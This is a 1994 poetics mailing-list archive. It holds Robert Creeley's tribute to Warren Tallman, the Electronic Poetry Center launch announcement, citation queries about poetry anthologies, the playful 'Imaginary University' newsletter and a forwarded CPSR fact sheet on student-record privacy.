We've had the sad advice from his family that Warren Tallman died yest- erday (July 4) in Vancouver, British Columbia, thankfully at home and without difficulty. It's hard to imagine the present fact of Canadian poetry and its relation to our own sans the immense effort which Warren Tallman made in his years as a teacher at the University of British Col- umbia, and, even more, as the indefatigable reader and friend of all the defining poets of both countries. In 1962, for example, Warren's students at UBC included Daphne Marlatt, Fred Wah, George Bowering, Gladys Hind- march, Lionel Kearns,and David Bromige, among many others. The landmark 1963 Vancouver Poetry Conference was almost entirely Warren's remarkable invention, bringing together for the first time a decisive company of then disregarded poets such as Denise Levertov, Charles Olson, Allen Ginsberg, Robert Duncan, Margaret Avison, Philip Whalen and myself, together with as yet unrecognized younger poets of that time, Michael Palmer, Clark Coolidge and many more. Be it said that Warren wrote the first decisive piece on Jack Kerouac's skills as a writer, "Kerouac's Sound," published in the Evergreen Review. Donald Allen and he subsequently edited together POETICS OF THE NEW AMERICAN POETRY, a crucial backup of Don's initial anth- ology which, seemingly, changed everything. Warren's two substantial col- lections of essays report and review the tenets of poetry which underlie the revolution he had so much to do with.

All that can finally be checked out. What will be sorely missed is the singular insight and invention Warren brought to his relations with poetry and poets. He was a great reader, a great, great heart. Defined by the American Great Depression, he believed absolutely that books mattered, that what people can think of and so imagine is true, that it can really happen. So it was that he brought Robert Duncan first to Vancouver, to talk with his students in a series of meetings, all managed by the money they could themselves modestly and communally provide. Jack Spicer's last articulate lectures were fact of the same circumstance. I was able to teach for a year at UBC at a time when virtually no other job was possible, just that Warren BELIEVED. I cannot overemphasize the significance of such a power. It's as if Warren brought not only the US and Canada together in such interests, but that he really brought western Canada's poetry into the international world it now helps to define and keep possible.

Well, this can be the beginning, I hope, of what can now continue as Warren's work: bringing it all home, keeping the beat, making that joyful sound. Warren loved the sense of "mother tongue" always. He really knew how to listen.

Here's to you, brother, forever.

Robert Creeley

--Boundary (ID oTjVMpHWBpRrJM1RImBFWg)--

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2. Loss Glazier

Announcement: Electronic Poetry Center (Buffalo)

Sun 10 Jul 1994

The Electronic Poetry Center (Buffalo) 7-10-94

_____Announcement_____

THE ELECTRONIC POETRY CENTER (BUFFALO). The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center will provide access to numerous electronic resources in the new poetries including RIF/T and other electronic poetry journals, the Poetics List archives, a library of poetic texts, news of related print sources, and direct connections to numerous related poetic projects. The Center's first phase of implementation is scheduled for August 1, 1994. A subscription to the E-Poetry list provides a subscription to the electronic journal RIF/T and E-Poetry Center announcements. Subscriptions to E-Poetry to [redacted] Inquiries, suggestions for Center resources, submissions to RIF/T, and other mail may be directed to [redacted] The Center is located at gopher://writing.upenn.edu/11/internet/library/e- journals/ub/rift (Presently, the prototype is under construction but operational.)

Gopher Access:
For those who have access to gopher, type
gopher writing.upenn.edu
(or, if you are on a UB mainframe, simply type wings)
at your system prompt. First choose Libraries &
Library Resources, then Electronic Journals, then E-
Journals/Resources Produced Here At UB, then The
Electronic Poetry Center. (Note: Connections to some
Poetry Center resources require Web access, though most
are presently available through gopher).

World-Wide Web Access:
For those with World-Wide Web or lynx access, type www or lynx at your system prompt. Choose the go to URL option then go to (type as one continuous string)

gopher://writing.upenn.edu/11/internet/library/e-journals/ub/rift

___Participation in the Electronic Poetry Center (Buffalo)___

For those interested in helping us build the Center, our goal is to provide a single Internet site that offers a doorway into the different poetic projects out there in the electronic (and paper) poetics world. We would like to offer access to information about poetics and poetry activities, electronic poetry journals, texts in progress, etc. We are currently developing a library of electronic poetry/poetics texts (submissions to [redacted]. buffalo.edu). The Center has other exciting possibilities:

1. Circulation of electronic journals with an emphasis on direct links to those of relevance to Center concerns;
2. Reviews of recent print and electronic publications. (Brief reviews may also be submitted electronically to [redacted]);
3. Direct links to other related electronic sites;
4. Multimedia resources. Sound and graphics relating to poetry.
5. Building our Small Press Alcove, a place for little magazine and book announcements. The point of including announcements of paper resources is to provide a listing of interesting work for people to look at; they can then write or e-mail the publisher to obtain publications. (Send announcements to [redacted] or magazines/books to Loss Glazier, E-Poetry, P.O. Box 143, Getzville, NY 14068-0143);
6. Ultimately, the Center could also offer collaborative projects (perhaps for specific groups of writers), lists and/or archives of other lists, and texts-in-progress, as things develop.

The "Buffalo" in the title of the Center is not meant to suggest that this activity is limited to Buffalo, only to give the "visitor" a sense of place, i.e., where the mainframe that's providing this service is "located."

Vigorous writing wants to "circulate." On this new electronic terrain, the Electronic Poetry Center will serve as a gathering place or point of entry for a range of poetic efforts.

_____How to Contact Us_____

Please contact us with your suggestions, texts, sound files, and graphics files to submit, or if you have expertise in these areas. LET US KNOW WHAT YOU THINK (this is meant to be a Center that grows with your ideas) by posting to this list, sending mail to E-Poetry, or to Loss Glazier ([redacted]) or Kenneth Sherwood (v001pxfu.ubvms.cc. buffalo.edu) privately.

_____

The Archive is administered in Buffalo by E-Poetry and RIF/T in coordination with the Poetics List.

Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein

↑ Index

3. Joe Amato

The Waste Land...

Tue 12 Jul 1994

uhm, i dunno if this is what you're looking for, but harper & row published martin rowson's _the waste land_ in 1990---a comic art parody of eliot's work... the protagonist is l.a. private eye christopher marlowe etc...

joe

↑ Index

4. Michael Metzger

Anybody have a clue? M Metzger

Tue 12 Jul 1994

From: IN%"[redacted]" "WIG-L - Women in German"
11-JUL-1994 11:10:29.43
To: IN%"[redacted]" "Multiple recipients of l
ist WIG-L"
CC:
Subj: author/title/publisher search

id <[redacted]>; Mon, 11 Jul 1994 11:09:39 EST
with BSMTP id 4133; Mon, 11 Jul 94 11:07:11 EDT

UBVM.CC.BUFFALO.EDU (LMail V1.2a/1.8a) with BSMTP id 4174; Mon,
11 Jul 1994 11:07:11 -0400
Date: Mon, 11 Jul 1994 15:54:36 +0000
From: Karin McPherson <[redacted]>
Subject: author/title/publisher search
To: Multiple recipients of list WIG-L <[redacted]>
Organization: Arts

I would be grateful for any information on the following : Maurice Ransone (author) The Wasteland (title) 1990 or `92(publication date). It is a parody of Eliot's poem. Where has it appeared? Is it available? Who are the publishers? Karin McPherson, Department of German, University of Edinburgh, DHT, George Square, EH8 9JX, Scotland.

↑ Index

5. Karin McPherson
search: the Waste Land
Thu 14 Jul 1994

---

information found by Joe Amato. author: Martin Rowson. The Waste Land. Harper &Row 1990. Many thanks to all who helped.
Karin McPherson

↑ Index

6. Chris Funk
des crypt ions of an I U (she he it we you they)
Fri 15 Jul 1994

Not getting enough from / giving enough to

your university?

Sign up for DIU, a weekly from [redacted]

POETICS travellers thus far describing
an Imaginary University
include black hole sun; Thus, Albert or Hubert;
PJ; BG &tc

--Boundary (ID 7R/p22VzziXb+AmYddNjOQ)--

↑ Index

7. Steve Evans
Des Cryptionists: An Inquiry
Fri 15 Jul 1994

Chris,

Knowing you, I am inclined to enroll in your imaginary university (department of incidental poetics)--but could you perhaps dilate ever so slightly on what you're up to? I post this to the general list, rather than to you directly, since others may be as puzzled and intrigued as I am.

Thanks.

↑ Index

8. Alan Loney
Jerome McGann
Sun 17 Jul 1994

Hello people,

does anyone have an e-mail address for Jerome McGann, author of A Critique of Textual Criticism, among other texts. I'd be very grateful for this info.

Many thanks, in anticipation.

Alan Loney.

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9. peter quartermain
Re: Citation for Golding on Anthologies?
Mon 18 Jul 1994

Alan Golding: "A History of American Poetry Anthologies." _Canons_. edited by R. von Hallberg. Chicago, Chicago UP 1984, 279-308. You might also find useful a long piece I did as Appendix to _Dictionary of Literary Biography_ Vol 54: American Poets 1880-1945 [3rd series part 2] (Detroit: Gale, 1986), 579-676 "A Survey of Poetry Anthologies 1879-1960." This is an annotated list preceded by a brief discussion of trends. It reprints a number of prefaces and introductions (eg _Active Anthology_) and the Tables of Contents, but unfortunately omits (permission to reprint was withheld at the page-proof stage) Zukofsky's _An "Objectivists" Anthology_, which thus gets appallingly and undeservedly short shrift. The "Survey" does not (overall) include textbooks. I also discuss briefly the fortune of some of these (and some text-book anthologies) in the general introduction (called "Foreword") to Vol 54, Part 1. This foreword also appears in Vols 45 and 48: _DLB: American Poets &c_ 1st and 2nd Series, and was reprinted in slightly revised form

[with full documentation] in _Sagetrieb_ 9.3 (Winter 1990): 7-29.
There's lots more on all this stuff *somewhere*, but right now I'm in the throes of packing for a three week vacation starting tomorrow (today, where you are). If you want more, ask again around 5 August when (MAYBE) I can lay my stupid hands on my scattered notes. But Alan Golding will have answered you by then, surely. He knows more than anybody. Cheers, Peter Quartermain

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10. Steve Evans
Citation for Golding on Anthologies?
Mon 18 Jul 1994

If anyone has it at their fingertips, I need to be reminded of where Alan Golding published an article on the history of poetry anthologies (in 20th-century U.S.).

I'm hoping to get a little perspective on the Messerli, Hoover, Weinberger collections, as well as to push along some work I'm doing on the use of group anthologies by the Objectivists, the New York School, and the language writers. If people have suggestions beyond the Golding I would be very interested in seeing them.

P.S. Thanks to Chris for the first course listings from the Imaginary University. Now how bout the financial aid packets for our imaginary incomes?

↑ Index

11. Charles Bernstein
repost for CF/ RE: In Si Dental Poetics
Mon 18 Jul 1994

From: [redacted]
Date: Sat, 16 Jul 1994 10:24:06 -0400 (EDT)

Subject: Re: Dept. of In Si Dental Poetics

Steve,

Hope all goes well in Providence.

Up to a bunch of things. It was someone else who kicked this new/sletter into gear -- accidentally, of course -- then, energy being what it is in addition to our ALWAYS READY stance -- well, you can decide for yourself what it is & isn't as reposting this week's edition below (apologies to those who are on the direct list ALready) -- next week's version will feature a scathing rebuttal by marianne

moore to bhs's course description among other things. We all have our peeves regarding university curriculae, here is a place for I or I to begin again. As usual, a myriad of editors handling the materials...

We welcome all contributions/suggestions-- paz--

chris funkhouser

> *DIU 2*
>
> *14 July 94*
>
> *course description*
>
> "*american poetry*"
>
> *required texts:*
>
> *walt whitman*
> *drum-taps*
>
> *marianne moore*
> *selected poems, 1935*
>
> *frederico garcia lorca*
> *poeta en nueva york*
>
> *john wieners*
> *behind the state capital or cincinnati pike*
>
> *joanne kyger*
> *the wonderful focus of you*
>
> *what does it mean to be an american? & once we think we discover this meaning, what to do with it? for if poetry arises in the gap, not between sense and nonsense, but sense and PURPOSELESSNESS (this will be our first thesis), then the TASK of poetry will be a confrontation with nonsense, in the hope that purpose lies that side of the continuum (this will be our second thesis).*
>
> *what to do with what we know (not to mention, how to act given what we DON'T know) is poetry's preeminent question.*
>
> *we begin with war; pause to consider the pleasures and discoveries of the*

imperial eye, the grace our language attained when it gave in--without blinking--to the intellectual grandeur of the I, a sure center sure of its own morality; we'll then study--without blinking--the aftereffects of this assumption of power, the poverity and madness which the center always deposits at its margins; and we'll conclude by considering america's prospects in the coming ante-time

a digest:

"Look down fair moon and bathe this scene, / pour softly down night's nimbus floods on faces ghastly, swollen, purple..."
whitman

"Slow / To remark the steep, too strict proportion / Of your throne, you'll see the wrenched distortion / Of suicidal dreams / Go / Staggering toward itself and with its bill / Attack its own identity, until / Foe seems friend and friend seems / Foe"
moore

"Porque ya no hay quien reparta el pan ni el vino / ni quien cultive hierbas en la boca del muerto" ("For see: there is none to apportion the bread and the wine / or cultivate grass in the mouths of the dead")
lorca

"If I tread the straight and narrow / I should no trouble, do what's / expected of me, realize my friends / are not my enemies, and get rid of // them both..."
wieners

"The seemingly inexhaustible / sophistication of awareness becomes relentless and horrible, / trapped. How am I ever going to learn enough to get out"
kyger

--black hole sun

The utopian schemes that have informed us of our possibilities-- Brook Farm, the Marxist stateless state and even the endlessly progressing capitalist economy, guided by an invisible hand or by liberal bureacracies--were equally predicated not upon the order of foundational knowledge but upon an order of minds in the thrall of the sublime. The profound moment of insight, enlightenment, revolution is not vision but the catastrophe of the imagination. It is the shattering of the image, of the old style, of the

conventional view, of _ancien regime_, and so forth that leaves one unsettled but grasping a profound point of a knowledge. The site of the revelation is not directly open to inspection, and especially not available for a second look, but, as it--whatever it is--recedes from view, it confirms the the confidence in the utopian possibility, and it can be brought back to the edge of view by the next careful negotiation of imagination into spectacular collapse.

For nearly two hundred years, art had been a matter of tearing through the surface of rationality, convention, and social stultification in order to maintain access to the surprise of life as such. For the generation of artists born of the World War II and after, however, everything they'd learned was wrong. The techniques of the artists who had interested them in art in the first place, whom they had admired and thought to imitate, turned out to be inappropriate to this new condition. Dadaism lives: it is taught at in the Harvard M.B.A. program. Surrealism lives: it is taught to computer programmers at M.I.T. (some might say, mathematics has proven so strange, that it is taught even in the math department). Our architects, our lawyers are modernist purveyors of chaos (to say nothing, of course, of the faceless committees which generate what we call the media).

There is no point, in the face of unbridled growth economies, to recall wild nature in tranquility, to practice nihilistic techniques of art and thought, to do automatic writing, or to create chance generated art. Chaos no longer needs the help of art. The techniques that delivered fresh air in 1810 or 1910 contributed (though contributed insignificantly) by 1970 to a proliferation of incomprehensible energy. The Dadaists never managed to exhibit the degree of chaos that Robert Smithson records in his photographs of Passaic, New Jersey.

If the task of the artists is to right the balance between consciousness and unconsciousness, they must now cast their lot with consciousness. It is the unconscious itself which is manifesting as uncontrolled production. If the task of the artists is to right the balance between order and chaos, they must now cast their lot with order-- with construction, not deconstruction. This involves large scale reordering of the practice of art, in order to serve the same function.

--Thus, Albert or Hubert

air.txt radiostation wrpi 91.5 fm troy, ny 7 july 94 0811-1200

George Quasha/Charles Stein--"life on the flying carpet"/anthology '85 (cassette)
Eric Dolphy--"Burning Spear"/Iron Man
-
Bob Marley & the Wailers--"Positive Vibration|Wake Up and Live|I Shot the Sheriff|Dem Belly Full|Concrete Jungle|Ambush in the Night|You Can't Run Away From Yourself|Heathen Writing|Natty Dread Rides Again|War"/live Santa Cruz 12/79 (cassette)
Public Enemy--"Harry Allen's Interactive Super Highway Phone Call to Chuck D"/Give It Up
-
Chico Freeman--"title song|Freedom Swing Song|Lookup|Nia's Song Dance|Morning Prayer"/Peaceful Heart, Gentle Spirit
Mutabaruka--"People's Court Pt. II"/Melanin' Man
-
Lou Harrison--"Threnody"/Just West Coast
-
Cecil Taylor w/Workshop Ensemble--"Legba Crossing"/Legba Crossing
Diedre Murray/Fred Hopkins--"Systems"/Stringology
-
Mission of Burma--"Trem Two"/vs.
Mission of Burma--"That's When I Reach for my Revolver|Outlaw|Fame & Fortune"/Signals, Calls, Marches
Mission of Burma--"Forget|Peking Spring"/ep
Mission of Burma--"Academy Fight Song"/45 rpm
-
Lisa Germano--"the earth"/happiness
John's Black Dirt--"Movements"/Perpetual Optimism is a Force Multiplier
Lisa Germano--"Miamo-tutti"/happiness
-
Bheki Mselku--"Ntuli Street"/Timelessness
Michael Lally--"Healing Poem"/cd b/w
Henry Threadgill Very Very Circus--"Some Place"/live at Koncepts

DIU is a weekly newsletter directed towards
Descriptions of an Imaginary University
(c)irculated by the Logic of Snowflakes
hypersidiary of We Press, USA

to contribute or receive previous
presentations "write" to [redacted]

--Boundary (ID e1kFdHVOPTZu0qDO+h0Ogw)--

↑ Index

12. Alan Golding
Citation for Golding on Anthologies?
Mon 18 Jul 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

I figure I ought to be qualified to respond to this one. The essay is "A History of American Poetry Anthologies" in Robert von Hallberg's edited collection Canons (Univ. of Chicago Press 1984): 279-307. A revised and updated version with some material on Weinberger and Hoover will appear as the first chapter in my forthcoming From Outlaw to Classic: Canons in American Poetry (U of Wisconsin Press early 1995). I have an essay in progress called "Approaching the Present in American Poetry Anthologies" that deals with Weinberger Hoover et al and with mainstream anthologies since the mid-1970s. If anyone's interested in the updated book chapter or the work in progress (I've given the latter as a talk so it's in more or less readable and coherent shape) just drop me a note; both pieces have notes/bibliographies that might suggest further resources. As regards the recent anthologies I'm sure there are a ton of reviews that I don't know about (a mini-bibl. of reviews for those anthologies would actually be a useful project for someone to take on) but the exchanges in American Poetry Review are lively: John Yau's original review followed by Weinberger's response and Yau's response to the response; and Burt Hatlen reviewed the Weinberger collection in Sagetrieb. So Steve--you might look at those pieces if you haven't already done so.

↑ Index

13. Alan Golding
Citation for Golding on Anthologies?
Mon 18 Jul 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Dear Steve Evans--In my first reply to your post I forgot to mention that I also have a section of the forthcoming book on Brooks and Warren's Understanding Poetry--just in case you're interested in that earlier material.

↑ Index

14. Steve Evans
Anthologies
Mon 18 Jul 1994

Thanks to Alan, Peter, and the several back-channel saints who responded so quickly to the query I posted yesterday. I am again awed and a little humbled by the capacity this medium has for instancing acts of generosity.

I agree with Alan that a mini-bibliography of reviews of the anthologies would be useful for many of us on this list: should we agree to volunteer whatever information we run across in our indiv- idual researches? If people are afraid of cluttering the band with multiple posts of the same information, I will volunteer to receive mail on the subject and post updates for the list as new sightings warrant.

Let me know if this sounds like a good idea.

Best to everyone.../Steve

↑ Index

15. klindberg
Re: Anthologies
Mon 18 Jul 1994

Sounds like a good idea to me. I have recently been fascinated by the way that polemical anthologies, ones including sustained academic essays as well as "in your face" wishes and fabrications, made the Harlem Renaissance. But then this has always been the case. Whether or not they sold or did the job intended, such projects do, in retrospect, mark recurrent modernisms variously named. Enough of that shit. Eh? Let me say that we are in an excellent position with our new electronic nets. We can turn retrospects into prospects and nullify the need to apologize even as we meta-anthologize. What fun. Hope it isn't rude to be ironic. I am not, in any case, being ironic. I will be as helpful and/or quiet as I can in the anthology and other projects.

↑ Index

16. Jed Rasula
Re: Citation for Golding on Anthologies?
Mon 18 Jul 1994

Thanks to Steve's question, a gratifying convocation of replies; to which I can add my own take on Weinberger --as set off against McClatchy's *Vintage Antholo gy*-- forthcoming in *American Literary History*. That essay constitutes the final chapter of my book *The American Poetry Wax Museum* (& a belated thanks to Charles's plug on this list earlier in the summer); but in the wake of the Hoover & Messerli collections I'm planning on reconceiving that chapter in August as the book goes to press. So any discussion that unfolds here between now and then will not only be welcome, but duly noted in the result (I have yet to see biblio-credits for e-mail discussions in print, but surely they've happe ned & there must be some unfolding protocol).
--Jed Rasula

↑ Index

17. Marc Nasdor
Re: Citation for Golding on Anthologies?
Tue 19 Jul 1994

Boycott all poetry anthologies! They're a needless waste of wood pulp.

-Nasdor

↑ Index

18. Pierre Joris
Re: Anthologies
Tue 19 Jul 1994

I'm on the road so I don't have the exact info available, but re anthologies, there is also an interesting piece by Clayton Eshleman analyzing the Norton MODERN POETRY antho. I believe it appeared in the AWP newsletter --or, more probably in fact in the AMERICAN BOOK REVIEW.

========== Pierre Joris |"The great pain afflicting mankind, from child- Dept. of English | hood until death, is that looking and eating are SUNY Albany | two different operations. Eternal beatitude is Albany NY 12222 | a state in which to look is to eat." Simone Weil tel&fax:[redacted]| email: | "He who leaves a trace, leaves an abcess." [redacted] | Henri Michaux
==========

↑ Index

19. Alan Golding
Anthologies
Tue 19 Jul 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Dear Steve--Your idea for pooling information sounds good to me. But then I'm a literary historian and secret biblio-drone . . . Nasdor won't like it!

Alan G.

↑ Index

20. Hank Lazer
Re: Anthologies
Tue 19 Jul 1994

Pierre--

When will the Rothenberg/Joris 20th Century Poetry anthology be out from U of California Press? Could you send me a Table of Contents?

Thanks.

Hank Lazer

P.S. Say hello to Jerry & Diane for me....

↑ Index

21. Alan Golding
Re: Anthologies
Tue 19 Jul 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Just for everyone's information: the Clayton Eshleman essay that Pierre Joris refers to is "The Gospel According to Norton," in American Poetry Review, Sept./Oct. 1990: 33-41. And yes, watch for Jed Rasula's forthcoming book--a mine both of useful information and analysis thereof, including on virtually every post-World War II anthology published.

Alan Golding

↑ Index

22. Marc Nasdor
Re: Anthologies
Tue 19 Jul 1994

Clayton Eshleman's analysis of the Norton Anthology of Modern Poetry appeared in the American Poetry Review, Vol. 19/No. 5 -- September/October 1990 with Ann Lauterbach's mugshot on the cover.

--Regards, Marc Nasdor

↑ Index

23. Marc Nasdor
Re: Anthologies
Tue 19 Jul 1994

Nah, I wuz jus' joshing. Otherwise, I'd better sell my 20 or 30 anthologies.

--Nasdor

:-)

↑ Index

24. klindberg
Re: Anthologies
Tue 19 Jul 1994

Still, one might keep in mind one small detail about the "economy" of anthologies: the law of diminishing financial and intellectual returns to the poet(s). It would seem that inflation also a/effects the reception of anthologies. To say nothing about Pound's anthologizing, his criticism and competition in this (fallow and/or easily penetrated) field of the market. In short, nothing more on anthologies. . . .

↑ Index

25. Tenney Nathanson
presumably all have seen this but
Wed 20 Jul 1994

Forwarded message:
> From [redacted] Tue Jul 19 23:24 CDT 1994
> From: [redacted] (Ken Beversdorf)
> Message-Id: <[redacted]>
> Subject: Matters of Personal Privacy....
> To: [redacted]
> Date: Tue, 19 Jul 1994 20:58:15 -0800 (PDT)

> X-Mailer: ELM [version 2.4 PL22]
> Content-Type: text
> Content-Length: 7273
>
> > To all Employees of Cray Research and Cray Research Superservers:
> >
> > This will directly affect the privacy of your childs and possibly
> > your own personal data. Please read and be informed. This is for
> > your own personal benefit if you value your privacy.
> >
> > Ken Beversdorf
> >
> > **********
> >
> > > Subject: Privacy at risk: Educational Records
> > >
> > >
> > > Seattle CPSR Policy Fact Sheet
> > > K-12 Student Records: Privacy at Risk
> > > ---
> > >
> > > TOPIC
> > >
> > > The U.S. education system is rapidly building a nationwide network of
> > > electronic student records. This computer network will make possible
the
> > > exchange of information among various agencies and employers, and the
> > > continuous tracking of individuals through the social service, education
> > > and criminal justice systems, into higher education, the military and the
> > > workplace.
> > >
> > > WHAT IS THE ISSUE?
> > >
> > > There is no adequate guarantee that the collection and sharing of
personal
> > > information will be done only with the knowledge and consent of
students or
> > > their parents.
> > >
> > > Changes Are Coming to Student Records
> > > National proposals being implemented today include:
> > >

> > > - An electronic "portfolio" to be kept on each student, containing
> > > personal essays and other completed work.
> > >
> > > - Asking enrolling kindergartners for their Social Security Numbers,
> > > which will be used to track each student's career after high school.
> > >
> > > - Sending High school students' transcripts and "teachers' confidential
> > > ratings of a student's work-related behavior," to employers via an
> > > electronic network called WORKLINK.
> > >
> > > At the heart of these changes is a national electronic student records
> > > network, coordinated by the federal government and adopted by states with
> > > federal assistance.
> > >
> > > Publication 93-03 of the National Education Goals Panel, a federally
> > > appointed group recently empowered by the Goals 2000 bill to oversee
> > > education restructuring nationally, recommends as "essential" that school
> > > districts and/or states collect expanded information on individual
> > > students, including:
> > > - month and extent of first prenatal care,
> > > - birthweight,
> > > - name, type, and number of years in a preschool program,
> > > - poverty status,
> > > - physical, emotional and other development at ages 5 and 6,
> > > - date of last routine health and dental care,
> > > - extracurricular activities,
> > > - type and hours per week of community service,
> > > - name of post-secondary institution attended,
> > > - post-secondary degree or credential,
> > > - employment status,
> > > - type of employment and employer name,
> > > - whether registered to vote.
> > >
> > > It also notes other "data elements useful for research and school
> > > management purposes":
> > > - names of persons living in student household,
> > > - relationship of those persons to student,
> > > - highest level of education for "primary care-givers,"
> > > - total family income,
> > > - public assistance status and years of benefits,

> > > - number of moves in the last five years,
> > > - nature and ownership of dwelling.
> > >
> > > Many of these information categories also were included in the public draft
> > > of the 'Student Data Handbook for Elementary and Secondary Schools',
> > > developed by the Council of Chief State School Officers to standardize
> > > student record terminology across the nation. State and local agencies
> > > theoretically design their own information systems, but the handbook
> > > encourages them to collect information for policymakers at all levels.
> > > Among the data elements are:
> > > - evidence verifying date of birth,
> > > - social security number,
> > > - attitudinal test,
> > > - personality test,
> > > - military service experience,
> > > - description of employment permit (including permit number,)
> > > - type of dwelling,
> > > - telephone number of employer.
> > >
> > > WHO CAN ACCESS THIS COMPREHENSIVE INFORMATION?
> > >
> > > Officers, employees and agents of local, state and federal educational
> > > agencies and private education researchers may be given access to
> > > individual student records without student or parent consent, according to
> > > the federal Family Educational Rights and Privacy Act of 1974 (20 USC
> > > 1232g) and related federal regulations (34 CFR 99.3). Washington state law
> > > echoes this federal law.
> > >
> > > WHAT IS COMING NEXT?
> > >
> > > Recent Washington state legislation (SB 6428, HB 1209, HB 2319) directly
> > > links each public school district with a self-governing group of social
> > > service and community agencies that will provide services for families.
> > >
> > > This type of program is described in detail in the book, Together We Can,
> > > published jointly by the U.S. Department of Education and the U.S.
> > > Department of Health and Human Services. The book speaks of "overcoming

> > > the confidentiality barrier," and suggests creating centralized data banks
> > > that gather information about individuals from various government agencies -
> > > or in other ways ensuring agencies, "ready access to each other's records."
> > >
> > > The book calls for a federal role in coordinating policies, regulations and
> > > data collection. A group in St. Louis, MO, called Wallbridge Caring
> > > Communities, is cited as a model for seeking agreements to allow computer
> > > linkups with schools and the social service and criminal justice systems to
> > > track school progress, referrals and criminal activity.
> > >
> > > WHAT HAPPENED TO ONE COMMUNITY
> > >
> > > In Kennewick, WA, over 4,000 kindergarten through fourth graders were rated
> > > by their teachers on how often they lie, cheat, sneak, steal, exhibit a
> > > negative attitude, act aggressively, and whether they are rejected by their
> > > peers. The scores, with names attached, were sent to a private psychiatric
> > > center under contract to screen for "at-risk" students who might benefit
> > > from its programs. All of this was done without the knowledge and consent
> > > of the children or their parents.
> > >
> > > CPSR's POSITION
> > >
> > > CPSR Seattle believes that schools other agencies should minimize the
> > > collection, distribution and retention of personal data. Students and/or
> > > their parents should decide who has access to detailed personal
> > > information.
> > >
> > > CPSR ACTIONS
> > >
> > > Representatives of CPSR Seattle have gone to Olympia to:
> > > - oppose the use of the Social Security Number as the standard student
> > > identifier,
> > >
> > > - urge legislators to set educational goals that can be measured without

> > > invading privacy,
> > >
> > > - oppose turning over individual student records to law enforcement
> > > officials apart from a court order or official investigation.
> > >
> > > Computer Professionals for Social Responsibility - Seattle Chapter
> > > P.O. Box 85481, Seattle, WA 98145-148[redacted]
> > > [redacted]
> > >
> > >
> > > --- CPSR ANNOUNCE LIST END ---
> > >
> >
> >
>
>

Mike Zwinger
Cray Research, Inc.
Phone: [redacted]

↑ Index

26. Marc Nasdor
Re: Anthologies
Wed 20 Jul 1994

Hmmm--

Well, Klindberg, that's fine except that anthologies are frequently used for the purposes of "recanonization" by the very people who would like to see the "opposing" canon debunked. One cannot have it both ways. But consider that poetry magazines may serve a greater purpose directly due to their perceived limited shelf life. Anthologies--while retaining some nostalgia value for those who wish to revisit their intellectual youth--are stagnant pools attracting little more than mosquitos, while journals are more indicative of the actual state of literary life; i.e., there is the assumption of impermanence, and everyone is forced to keep on their toes. I prefer to sort out the interesting from the mediocre on my own, thank you. If I must have my literature filtered, I'd rather depend on a greater number of editors than a smaller number of agenda-toting anthologists to provide that service. Regards, Marc Nasdor

↑ Index

27. Joseph Conte
Literary Biography
Wed 20 Jul 1994

Now that we're fully assembled and have adjusted our headsets for color and vertical roll, I'd like to invite anyone with an interest in literary biography to contribute to a two-volume series that I'm editing for the _Dictionary of Literary Biography_ (Gale Research Press) on American poets after 1945. So far there are some fifty entries in progress, including Brett Millier on Elizabeth Bishop, Robert Bertholf on Robert Duncan, Tom Gardner on John Ashbery, Miriam Nichols on Robin Blaser, and Mark Scroggins on Louis Zukofsky. Entries range from 5000 to 10,000 words. The entries are literary biographies, but the principal focus is the presentation and appraisal of the poet's complete work in chronological fashion. All contributors to the volume receive an honorarium from the publishers, a copy of the volume, and offprints of their entry.

I'm particularly interested to hear from anyone willing to write on David Antin, Amiri Baraka, Clark Coolidge, Louise Gluck, David Ignatow, Kenneth Koch, Adrienne Rich, Jerome Rothenberg, or Ron Silliman. I'm open to other suggestions, assuming that the poet is appropriate to the volume and not already assigned.

If you're at all interested in contributing, please respond to me personally (i.e. off-list). I'd be happy to answer any questions you might have about the project, or take suggestions for subjects and/or contributors.

Thanks.

Joseph Conte

_____*_____
| Joseph M Conte | "Where is the figure in the Department of English | carpet? Or is it just . . . SUNY at Buffalo | carpet?" he asked. "Where is--" [redacted] | "You're talking a lot of [redacted] | buffalo hump, you know that." | Donald Barthelme
_____*_____

↑ Index

28. klindberg
Re: Anthologies
Wed 20 Jul 1994

Well, in as much as it is a point worth making, I believe that was something of my point. The realities of classroom teaching at universities such as my own

raise the issues of anthologies with a certain urgency, or so it is thought. My irony--whether caught, missed, or intended (Ah Ha)--was in some fashion motored by why the greatest activity I have seen for some time on this network was centered around questions so market driven. Wouldn't it, then, be more interesting to talk about the market than the anthologies? Or is that what we are doing? Please feel free to respond in anger or pique; such responses please. Anyway, really, I do mean that, while one is interested in the production and distribution of anthologies, other poetic(s)/political issues might be more pressing. I apologize for any, if not all, offenses.

↑ Index

29. klindberg
Re: Literary Biography
Wed 20 Jul 1994

Question for Joseph Conte. I ask this one over the net, since it might prevent a flood of repetitions of the same question. Just to be helpful, as is my nature, if you will.

What do you mean by American? Do you seek info. on poets from the Caribbean, perhaps even those who find themselves morooned, as 't were in the US?

Will this volume update, supersede, articulate with, say, the DLB volume devoted to the Beats? I guess those are more than the promised "question." I didn't mean to be so helpful with irony-ing.

↑ Index

30. Steve Evans
Anthslide
Wed 20 Jul 1994

I think Kathryne's bemusement about the sudden activity here on the list around "questions so market driven" is on the whole well placed. It may be that the anthologies--which will not, I suspect, break too many sales records--raise as a question something we otherwise take for granted: namely, that poetry's resistance to integration through the market, its failure as a commodity, is one of its decisive, albeit negative, attributes.

Meanwhile, though their economic effects will be minimal, the symbolic effects of these anthologies could be quite formidable--the legitimation of the language writers may in fact have reached its apogee with them (for instance). One thing I find myself thinking about is how little these collections have risked by way of recasting the *form* of the anthology: a patent contradiction considering how

